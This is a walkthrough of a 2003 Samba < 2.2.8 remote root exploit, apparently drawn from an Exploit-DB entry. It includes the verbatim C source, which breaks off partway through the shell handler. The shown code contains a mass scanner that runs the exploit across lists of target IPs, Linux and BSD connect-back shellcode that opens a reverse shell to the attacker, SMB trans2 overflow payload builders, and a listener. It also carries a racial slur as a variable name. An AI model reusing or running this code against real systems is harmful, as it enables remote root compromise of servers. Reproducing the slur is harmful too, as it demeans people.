Samba 2.2.8 - Brute Force Remote Command Execution Explained

Samba 2.2.8 - Brute Force Remote Command Execution Explained
What this paper is
This paper describes a remote command execution exploit targeting Samba versions prior to 2.2.8. The exploit leverages a vulnerability in the SMB (Server Message Block) protocol implementation within Samba to gain remote root access. It employs a "connect back" method, meaning the compromised server initiates a connection back to the attacker's machine, and a brute-force approach to try different exploit variations.
Simple technical breakdown
The exploit works by sending specially crafted SMB packets to a vulnerable Samba server. These packets are designed to overwrite critical memory locations, allowing the attacker to redirect program execution to their own malicious code (shellcode). The shellcode then typically establishes a reverse shell connection back to the attacker, granting them command-line access with root privileges.
The exploit has two main components:
The Mass Exploiter (
smb_exploit.c): This C program takes a file containing a list of target IP addresses and a "bind IP" (likely the attacker's IP for the connect-back). It iterates through the target IPs and, for each IP, attempts to exploit it using different methods (represented byifrom 0 to 3). It relies on a separate executable namedsmb(not provided in this snippet, but implied to be the actual exploit logic for a single target). If thesmbexecutable successfully creates a file named.ROOT, the mass exploiter considers the target compromised and moves to the next.The Core Exploit Logic (within
smb_exploit.c): This part contains the SMB packet crafting and shellcode. It defines different shellcodes for Linux and BSD-based systems. The exploit attempts to trigger a buffer overflow or similar vulnerability by sending an oversized SMBTRANS2request. This overflow allows the attacker to inject their shellcode and overwrite a return address on the stack with a pointer to their shellcode, effectively taking control of the program's execution flow.
The exploit also includes logic for setting up a listener on the attacker's machine to receive the incoming connection from the compromised server.
Complete code and payload walkthrough
The provided code snippet contains two main C programs: a "mass exploiter" and the core exploit logic with shellcode.
Part 1: Mass Samba Exploit by Schizoprenic (Top Section)
This is the driver program that iterates through targets.
/* ... */(Comments): Standard header comments indicating the author, year, and purpose (educational).#include <stdio.h>,#include <stdlib.h>,#include <sys/stat.h>: Standard C library includes for input/output, general utilities, and file status operations.void usage(char *s):- Purpose: Prints a usage message to the console and exits the program.
- Inputs:
s- the name of the program being executed. - Behavior: Displays "Usage: [program_name] " and exits with an error code.
- Output: Prints to
stdout.
int main(int argc, char **argv):- Purpose: The entry point of the program.
- Inputs:
argc(argument count),argv(argument values). - Behavior:
- Prints a banner message.
- Checks if exactly two command-line arguments are provided (
argc != 3). If not, it callsusage. - Calls the
scanfunction with the provided arguments. - Returns 0 on successful execution.
- Output: Prints banner to
stdout.
int scan(char *fl, char *bind_ip):- Purpose: Reads target IPs from a file, attempts to exploit each one, and checks for success.
- Inputs:
fl: A character pointer to the filename containing target IP addresses.bind_ip: A character pointer to the IP address the compromised server should connect back to.
- Behavior:
- Opens the file specified by
flfor reading (fopen(fl, "r")). - If the file cannot be opened, it prints an error and returns -1.
- Enters a
whileloop that reads the file line by line (fgets(buf, 512, nigger)). - For each line (IP address
buf):- Removes the trailing newline character if present.
- Enters a
forloop that iterates 4 times (ifrom 0 to 3). This represents different exploit "types" or variations. - Inside the
forloop:- Constructs a command string:
./smb %d %s %s. This command executes an external program namedsmbwith the exploit type (i), the target IP (buf), and the attacker's IP (bind_ip). - Prints a message indicating which IP and exploit type are being tried.
- Executes the command using
system(cmd). - Checks if a file named
.ROOTexists usingstat(".ROOT", &st). - If
.ROOTexists (statdoes not return -1), it means the exploit was successful. The code thenunlinks (deletes).ROOTandbreaks out of the innerforloop to move to the next target IP.
- Constructs a command string:
- After processing all IPs, it closes the input file (
fclose(nigger)). - Prints a "Mass exploiting finished." message.
- Opens the file specified by
- Output: Prints progress messages to
stdout, error messages tostderr. Creates.ROOTfile on successful exploitation (implicitly by the externalsmbprogram).
/* ... */(Comments): Explanatory comments about the core exploit logic, its origin, and references.#include <netinet/in.h>,#include <sys/socket.h>,#include <arpa/inet.h>,#include <sys/types.h>,#include <unistd.h>,#include <string.h>,#include <errno.h>,#include <sys/select.h>,#include <sys/time.h>,#include <fcntl.h>,#include <netdb.h>,#include <signal.h>,#include <sys/wait.h>,#include <sys/ioctl.h>,#include <sys/utsname.h>,#include <termios.h>,#include <sys/utsname.h>: Includes for network programming, socket operations, IP address conversion, system calls, string manipulation, error handling, I/O multiplexing, file control, name resolution, signals, process management, and system information.char linux_connect_back[] = "\x31\xc0\x31\xff\xb0\x02\xcd\x80...";:- Purpose: This is the raw machine code (shellcode) for a Linux target. It's designed to execute a command on the remote system that connects back to the attacker.
- Breakdown:
\x31\xc0\x31\xff\xb0\x02\xcd\x80: This sequence typically performs afork()system call.xor eax, eax(clears eax),xor edi, edi(clears edi),mov al, 2(sets eax to 2 forfork),int 0x80(system call interrupt).\x39\xc7\x74\x7e: This checks the return value offork(). If it's 0 (child process), it jumps (74 7e) to execute the shell. If it's non-zero (parent process), it likely exits or continues.- The subsequent bytes (
\x31\xc0\x50\x68\x20\x20\x20\x20...) are part of constructing the command string forexecve. It's preparing arguments forsh -c "...". The\x20\x20\x20\x20are placeholders. \x68\x2d\x63\x89\xe3\x50\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50\x89\xe1: This part is setting up the arguments forexecve. It's likely preparingshand the-coption.\x68\x72\x6d\x68\x3d\x78\x74\x65\x68\x54\x45\x52\x4d\x89\xe2\x50\x52\x89\xe2\x57: This section constructs the command string that will be executed bysh -c. It appears to be building a command likerm -rf /tmp/xterm; /bin/sh. The\x54\x45\x52\x4dmight be related toTERM=xterm.\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80: This is theexecve("/bin/sh", ...)call.\x31\xc0\xb0\x01\xcd\x80: This is anexit(1)call, likely for the parent process after forking.- Connect back shellcode (port=0xb0ef):
\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80: This section sets up a socket. It's preparing for asocket()system call.b1 06likely sets the domain toAF_INET(IPv4),b1 01forSOCK_STREAM(TCP), andb1 02forIPPROTO_TCP.b0 66issys_socketcallor similar.\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80: This part performs aconnect()system call. The\x41\x42\x43\x44are placeholders for the target IP address, and\xb0\xefis the port (0xb0ef = 45295 decimal). Theb3 03likely sets theconnectsyscall number.\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80: This is error handling for theconnectcall. If it fails, it exits.\x31\xc0\xb0\x3f\x89\xd3\xcd\x80: This is adup2()system call, likely duplicating the socket tostdin(0).\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80: Anotherdup2(), likely duplicating the socket tostdout(1).\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80: A thirddup2(), likely duplicating the socket tostderr(2).\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80: This is theexecve("/bin/sh", ...)call, which launches a shell on the connected socket.\x31\xc0\xb0\x01\xcd\x80: Anexit(1)call.
char bsd_connect_back[] = "\x31\xc0\x31\xff\xb0\x02\xcd\x80...";:- Purpose: This is the raw machine code (shellcode) for BSD-based targets (FreeBSD, NetBSD, OpenBSD). It's similar in function to the Linux shellcode but uses different system call numbers and conventions.
- Breakdown: The structure is similar to the Linux shellcode:
- It starts with
fork()and checks the return value. - It prepares arguments for
execveto run a shell command. - It then sets up a socket, connects back to the attacker's IP and port (0xb0ef = 45295).
- It uses
dup2to redirectstdin,stdout, andstderrto the socket. - Finally, it executes
/bin/shto provide a shell. - The specific system call numbers and register usage will differ from the Linux version. For example,
b0 3bis likelysys_execveon some BSD systems.
- It starts with
typedef struct { ... } NETBIOS_HEADER;:- Purpose: Defines the structure for a NetBIOS session message header.
- Fields:
type: Message type (e.g., 0x00 for session message).flags: Flags for the message.length: Length of the message payload (network byte order).
typedef struct { ... } SMB_HEADER;:- Purpose: Defines the structure for an SMB header.
- Fields:
protocol: SMB signature (\xFFSMB).command: The SMB command code (e.g.,0x73for Session Setup,0x70for Start Connection,0x32for TRANS2).status: Status code.reserved,flags,flags2: Various flags.pad: Padding bytes.tid: Tree ID.pid: Process ID.uid: User ID.mid: Multiplex ID.
pid_t childs[50]; int LOOP = 1; struct sockaddr_in serv_addr; int sock_listen, client; int exploit_pid; int listen_pid; int port_listen = 45295;: Global variables for managing child processes, a loop flag, socket structures, listener socket, client connection, process IDs, and the listening port.void usage(char *prog):- Purpose: Displays detailed usage information for the exploit, including target system types.
- Inputs:
prog- the program name. - Behavior: Prints usage instructions and supported targets (Linux, FreeBSD/NetBSD, OpenBSD 3.0, OpenBSD 3.2).
- Output: Prints to
stdout.
int Connect(int fd, char *ip, unsigned int port, unsigned int time_out):- Purpose: A utility function to establish a non-blocking TCP connection with a timeout. This is likely used to check if a target is reachable or to establish the initial connection for the exploit.
- Inputs:
fd(file descriptor),ip(target IP),port(target port),time_out(timeout in seconds). - Behavior:
- Sets the socket to non-blocking mode.
- Uses
select()to wait for the connection to complete or timeout. - Checks for connection errors using
getsockopt(SOL_SOCKET, SO_ERROR). - Restores the original socket flags.
- Output: Returns 1 on success, -1 on failure.
int read_timer(int fd, unsigned int time_out):- Purpose: A utility function to read from a file descriptor with a timeout.
- Inputs:
fd(file descriptor),time_out(timeout in seconds). - Behavior:
- Sets the socket to non-blocking mode.
- Uses
select()to wait for data to be available for reading. - Restores the original socket flags.
- Output: Returns 1 if data is available or connection closed, -1 on timeout or error.
int write_timer(int fd, unsigned int time_out):- Purpose: A utility function to write to a file descriptor with a timeout.
- Inputs:
fd(file descriptor),time_out(timeout in seconds). - Behavior:
- Sets the socket to non-blocking mode.
- Uses
select()to wait for the socket to be writable. - Restores the original socket flags.
- Output: Returns 1 if the socket is writable, -1 on timeout or error.
int start_session(int sock):- Purpose: Attempts to establish an SMB session with the target server. This is a prerequisite for sending the exploit payload.
- Inputs:
sock(the socket connected to the target). - Behavior:
- Constructs and sends an SMB Session Setup request (
command = 0x73). - Reads and processes the server's response.
- Constructs and sends an SMB Start Connection request (
command = 0x70). - Reads and processes the server's response.
- Constructs and sends an SMB Session Setup request (
- Output: Returns 0 on successful session establishment, -1 on failure.
int exploit_normal(int sock, unsigned long ret, char *shellcode):- Purpose: This function implements the exploit for Linux targets. It crafts and sends the SMB
TRANS2request that triggers the vulnerability. - Inputs:
sock: The socket connected to the target.ret: The target return address (where the shellcode should jump to).shellcode: The actual shellcode to be executed.
- Behavior:
- Defines
exploit_datawhich contains initial SMB packet parts and padding. - Calculates a
dummyaddress, likely for overwriting a saved return pointer or other control data. - Constructs a large buffer (
buffer[4000]). - Fills the buffer with NetBIOS and SMB headers.
- Sets the SMB command to
0x32(SMBtrans2). - Pads a significant portion of the buffer with
0x90(NOP instructions). This is a common technique to create a "sled" that helps the shellcode land correctly. - Injects a jump instruction (
\xeb\x70) at a specific offset (buffer[1096]). This jump likely leads into the NOP sled. - Copies multiple copies of
dummyandretaddresses into the buffer. This is the core of the overflow, overwriting multiple return addresses or function pointers. - Copies the
exploit_datainto the buffer. - Copies the provided
shellcodeinto the buffer at a later offset (buffer + 1800). - Sends the crafted buffer to the target using
send().
- Defines
- Output: Returns 0 on successful send, -1 on failure.
- Purpose: This function implements the exploit for Linux targets. It crafts and sends the SMB
int exploit_openbsd32(int sock, unsigned long ret, char *shellcode):- Purpose: This function implements the exploit for OpenBSD 3.2 targets, which might have a non-executable stack. The payload structure and offsets are adjusted accordingly.
- Inputs: Same as
exploit_normal. - Behavior:
- Similar to
exploit_normalbut with different offsets and calculations fordummyand the placement of the shellcode. - The
dummyaddress is calculated asret - 0x30. - The shellcode is placed at an earlier offset (
buffer + 1100 - strlen(shellcode)), potentially to land in a more predictable location on a non-executable stack. - The
exploit_dataand padding are also structured differently.
- Similar to
- Output: Returns 0 on successful send, -1 on failure.
void shell(int sock):- Purpose: Provides an interactive shell session over the established socket.
- Inputs:
sock(the connected socket). - Behavior:
- Sends an initial command (
uname -a;id;\n) to get system information. - Enters an infinite loop using
select()to monitor both the socket and standard input (keyboard). - If data is received from the socket, it's printed to the console.
- If data is entered by the user, it's sent to the remote server.
- Handles connection closure or read errors.
- Sends an initial command (
- Output: Interactive shell session, prints system info and command output.
void GoAway():- Purpose: A simple function to exit the program.
- Behavior: Calls
exit(0).
void start_listen():- Purpose: Sets up a listener socket on the attacker's machine to receive the incoming connection from the compromised server.
- Behavior:
- Uses a
goto LISTENERloop to find an available port starting fromport_listen(45295). - Creates a TCP socket (
socket(2,1,6)). - Binds the socket to all interfaces (
s_addr=0) and the currentport_listen. - If binding fails, increments
port_listenand retries. - Starts listening for incoming connections (
listen(sock_listen, 1)). - Prints the listening port.
- Forks a child process.
- In the parent process:
- Accepts the incoming client connection (
accept). - Sets
LOOPto 0. - Sends a
SIGUSR2signal toexploit_pid(presumably the process running the exploit logic). - If the client connection is successful, prints a success message and creates a file named
.ROOT(this is the success indicator for the mass exploiter).
- Accepts the incoming client connection (
- The child process is not fully defined in this snippet but is likely intended to handle the listener or the exploit process itself.
- Uses a
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
/*
* Mass Samba Exploit by Schizoprenic
* Xnuxer-Research (c) 2003
* This code just for eduction purpose
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
void usage(char *s)
{
printf("Usage: %s \n",s);
exit(-1);
}
int main(int argc, char **argv)
{
printf("Mass Samba Exploit by Schizoprenic\n");
if(argc != 3) usage(argv[0]);
scan(argv[1], argv[2]);
return 0;
}
int scan(char *fl, char *bind_ip)
{
FILE *nigger,*fstat;
char buf[512];
char cmd[100];
int i;
struct stat st;
if((nigger=fopen(fl,"r")) == NULL) {
fprintf(stderr,"File %s not found!\n", fl);
return -1;
}
while(fgets(buf,512,nigger) != NULL)
{
if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]=0;
for (i=0;i<4;i++) {
sprintf(cmd, "./smb %d %s %s", i, buf, bind_ip);
printf("\nTrying get root %s use type %d ...\n",buf,i);
system(cmd);
if (stat(".ROOT", &st) != -1) {
unlink(".ROOT");
break;
}
}
}
fclose(nigger);
printf("\nMass exploiting finished.\n");
}
/*
* Samba Remote Root Exploit by Schizoprenic from Xnuxer-Labs, 2003.
* Using connect back method and brute force mode.
* I just create & modify some code and ripped too :P
* Create on May, 12st 2003
*
* Thanks to eDSee (netric.org), Sambal is nice exploit bro...
* References: trans2root.pl, 0x333hate.c, sambal.c
* This code just for eduction purpose
*
* XNUXER RESEARCH LABORATORY
* Official Site: http://infosekuriti.com
* Contact Email: xnuxer@yahoo.com, xnuxer@hackermail.com
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
char
linux_connect_back[] =
/* fork(), execve sh -c [client] [host to bounce to], term=xterm */
"\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68"
"\x2d\x63\x89\xe3\x50\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50"
"\x89\xe1\x31\xc0\x50\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68"
"\x54\x45\x52\x4d\x89\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80"
/* connect back shellcode (port=0xb0ef) */
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";
char
bsd_connect_back[] =
/* fork(), execve sh -c [client] [host to bounce to], term=xterm */
"\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68\x2d\x63\x89\xe3\x50"
"\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50\x89\xe1\x31\xc0\x50"
"\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68\x54\x45\x52\x4d\x89"
"\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x50\x52\x51\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80"
/* connect back shellcode (port=0xb0ef) */
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
"\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
"\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
typedef struct {
unsigned char type;
unsigned char flags;
unsigned short length;
} NETBIOS_HEADER;
typedef struct {
unsigned char protocol[4];
unsigned char command;
unsigned short status;
unsigned char reserved;
unsigned char flags;
unsigned short flags2;
unsigned char pad[12];
unsigned short tid;
unsigned short pid;
unsigned short uid;
unsigned short mid;
} SMB_HEADER;
pid_t childs[50];
int LOOP = 1;
struct sockaddr_in serv_addr;
int sock_listen, client;
int exploit_pid;
int listen_pid;
int port_listen = 45295;
void
usage(char *prog)
{
int i;
fprintf(stdout, "Samba < 2.2.8 Remote Root exploit by Schizoprenic\n"
"Connect back method, Xnuxer-Labs, 2003.\n"
"Usage : %s \n"
"Targets:\n"
" 0 = Linux\n"
" 1 = FreeBSD/NetBSD\n"
" 2 = OpenBSD 3.0 and prior\n"
" 3 = OpenBSD 3.2 - non-exec stack\n\n", prog);
exit(1);
}
int
Connect(int fd, char *ip, unsigned int port, unsigned int time_out)
{
/* ripped from no1 */
int flags;
int select_status;
fd_set connect_read, connect_write;
struct timeval timeout;
int getsockopt_length = 0;
int getsockopt_error = 0;
struct sockaddr_in server;
bzero(&server, sizeof(server));
server.sin_family = AF_INET;
inet_pton(AF_INET, ip, &server.sin_addr);
server.sin_port = htons(port);
if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return -1;
}
if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return -1;
}
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&connect_read);
FD_ZERO(&connect_write);
FD_SET(fd, &connect_read);
FD_SET(fd, &connect_write);
if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
if(errno != EINPROGRESS) {
close(fd);
return -1;
}
}
else {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);
if(select_status == 0) {
close(fd);
return -1;
}
if(select_status == -1) {
close(fd);
return -1;
}
if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write)) {
getsockopt_length = sizeof(getsockopt_error);
if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length)
< 0) {
errno = ETIMEDOUT;
close(fd);
return -1;
}
if(getsockopt_error == 0) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
else {
errno = getsockopt_error;
close(fd);
return (-1);
}
}
}
else {
close(fd);
return 1;
}
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
int
read_timer(int fd, unsigned int time_out)
{
/* ripped from no1 */
int flags;
int select_status;
fd_set fdread;
struct timeval timeout;
if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return (-1);
}
if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return (-1);
}
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);
if(select_status == 0) {
close(fd);
return (-1);
}
if(select_status == -1) {
close(fd);
return (-1);
}
if(FD_ISSET(fd, &fdread)) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
else {
close(fd);
return 1;
}
}
int
write_timer(int fd, unsigned int time_out)
{
/* ripped from no1 */
int flags;
int select_status;
fd_set fdwrite;
struct timeval timeout;
if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return (-1);
}
if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return (-1);
}
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&fdwrite);
FD_SET(fd, &fdwrite);
select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);
if(select_status == 0) {
close(fd);
return -1;
}
if(select_status == -1) {
close(fd);
return -1;
}
if(FD_ISSET(fd, &fdwrite)) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
else {
close(fd);
return -1;
}
}
int
start_session(int sock)
{
char buffer[1000];
char response[4096];
char session_data1[] = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";
char session_data2[] = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64\x79"
"\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;
memset(buffer, 0x00, sizeof(buffer));
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x00;
netbiosheader->length = htons(0x2E);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x73; /* session setup */
smbheader->flags = 0x08; /* caseless pathnames */
smbheader->flags2 = 0x01; /* long filenames supported */
smbheader->pid = getpid() & 0xFFFF;
smbheader->uid = 100;
smbheader->mid = 0x01;
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1,
sizeof(session_data1) - 1);
if(write_timer(sock, 3) == 1)
if (send(sock, buffer, 50, 0) < 0) return -1;
memset(response, 0x00, sizeof(response));
if (read_timer(sock, 3) == 1)
if (read(sock, response, sizeof(response) - 1) < 0) return -1;
netbiosheader = (NETBIOS_HEADER *)response;
smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
//if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session message\n");
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
memset(buffer, 0x00, sizeof(buffer));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x00;
netbiosheader->length = htons(0x3C);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x70; /* start connection */
smbheader->pid = getpid() & 0xFFFF;
smbheader->tid = 0x00;
smbheader->uid = 100;
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2)
- 1);
if(write_timer(sock, 3) == 1)
if (send(sock, buffer, 64, 0) < 0) return -1;
memset(response, 0x00, sizeof(response));
if (read_timer(sock, 3) == 1)
if (read(sock, response, sizeof(response) - 1) < 0) return -1;
netbiosheader = (NETBIOS_HEADER *)response;
smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
if (netbiosheader->type != 0x00) return -1;
return 0;
}
int
exploit_normal(int sock, unsigned long ret, char *shellcode)
{
char buffer[4000];
char exploit_data[] =
"\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x90";
int i = 0;
unsigned long dummy = ret - 0x90;
NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;
memset(buffer, 0x00, sizeof(buffer));
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x04;
netbiosheader->length = htons(2096);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x32; /* SMBtrans2 */
smbheader->tid = 0x01;
smbheader->uid = 100;
memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data),
0x90, 3000);
buffer[1096] = 0xEB;
buffer[1097] = 0x70;
for (i = 0; i < 4 * 24; i += 8) {
memcpy(buffer + 1099 + i, &dummy, 4);
memcpy(buffer + 1103 + i, &ret, 4);
}
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
exploit_data, sizeof(exploit_data) - 1);
memcpy(buffer + 1800, shellcode, strlen(shellcode));
if(write_timer(sock, 3) == 1) {
if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
return 0;
}
return -1;
}
int
exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
{
char buffer[4000];
char exploit_data[] =
"\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x90";
int i = 0;
unsigned long dummy = ret - 0x30;
NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;
memset(buffer, 0x00, sizeof(buffer));
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x04;
netbiosheader->length = htons(2096);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x32; /* SMBtrans2 */
smbheader->tid = 0x01;
smbheader->uid = 100;
memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data),
0x90, 3000);
for (i = 0; i < 4 * 24; i += 4)
memcpy(buffer + 1131 + i, &dummy, 4);
memcpy(buffer + 1127, &ret, 4);
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
exploit_data, sizeof(exploit_data) - 1);
memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));
if(write_timer(sock, 3) == 1) {
if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
return 0;
}
return -1;
}
void shell(int sock)
{
fd_set fd_read;
char buff[1024], *cmd="uname -a;id;\n";
int n;
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sock, &fd_read) ) {
n=read(sock,buff,sizeof(buff));
if (n == 0) {
printf ("Connection closed.\n");
exit(EXIT_FAILURE);
} else if (n < 0) {
perror("read remote");
exit(EXIT_FAILURE);
}
write(1,buff,n);
}
if ( FD_ISSET(0, &fd_read) ) {
if((n=read(0,buff,sizeof(buff)))<=0){
perror ("read user");
